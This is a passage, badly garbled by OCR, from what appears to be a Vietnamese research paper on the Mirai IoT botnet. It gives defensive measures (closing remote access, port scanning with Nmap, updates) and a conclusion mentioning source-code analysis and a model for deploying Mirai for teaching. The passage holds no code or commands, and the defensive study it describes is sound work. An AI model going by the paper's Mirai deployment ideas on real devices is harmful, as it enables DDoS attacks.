2. T4t tat c& quyén truy cap tlr xa tir mang ngoai vao thiét
bi. St dung cac céng cu chuyén dung nhuv Nmap, Advanced
Port Scanner,... quét danh sach cac c6ng sau: SSH (22),
Telnet (23) va HTTP/HTTPS (80/443) dé kiém tra.

3. Xay dung co ché dinh ky khai dong lai va kiém tra tinh
bao méat cua thiét bi.

4. Thuong xuyén cap nhat, nang cap Ién cac phién ban
phan mém méi nhat tlr nha san xuat danh cho thiét bi.

6. KET LUAN

Trong bai bao nay, tac gia dé gi6i thiéu vé mot ky thuat
tan cong tir choi dich vu méi st dung ma déc Mirai dé xay
dwng mang BotNet bao gdm céc thiét bi loT. Pay la nhitng
thiét bi ngay cang phat trién véi toc dd nhanh, cé thé bi khai
théac va xdy dung mot mang BotNet véi quy mé Ién. Bai bao
da dua ra mé hinh hoat déng clia mang BotNet Mirai, phan
tich ma ngudn va ky thuét thuc thi ctia chdng, trinh bay tac
hai ma Mirai cé thé gay ra cho thiét bi cting nhuv hé théng
mang, tir dé dé xuét cac bién phap bao mat co ban cho thiét
bi dé tranh sy lay nhiém cia ma doc nay. Bén canh do, bai
b4o cling dé xuit mdt mo hinh ao dé trién khai ma doc
Mirai trong thuc t&€ nhdm muc tiéu gido duc. Mirai 1a mot
dang ma déc c6 nhiéu diém khéac biét véi cac dang ma doc
truyén théng, tdn cdng vao céc thiét bi va nén tdng méi nén
viéc hiéu va nhan thirc diing la rat quan trong va cap thiét.

Mirai 1a mot ma doc nguy hiém véi kha nang phat dong
cudc tan cong tlr chdi dich vu voi lvu lvgng khéng 16, Viét
Nam ciing la nuéc c6 ti Ié khéi ngudn cac cudc tan cdng st

dung ma doc nay cao nhat trén thé gi¢i. Do d6, ngudi quan
ly thiét bi can nang cao nhan thic trong van dé bao mat
thiét bi loT dé bao vé minh, tranh bi lgi dung va phong
tranh céac bién thé mai hon clia Mirai ¢ thé tac dong toi
chinh dit liéu va hoat ddng clia nguoi dung.
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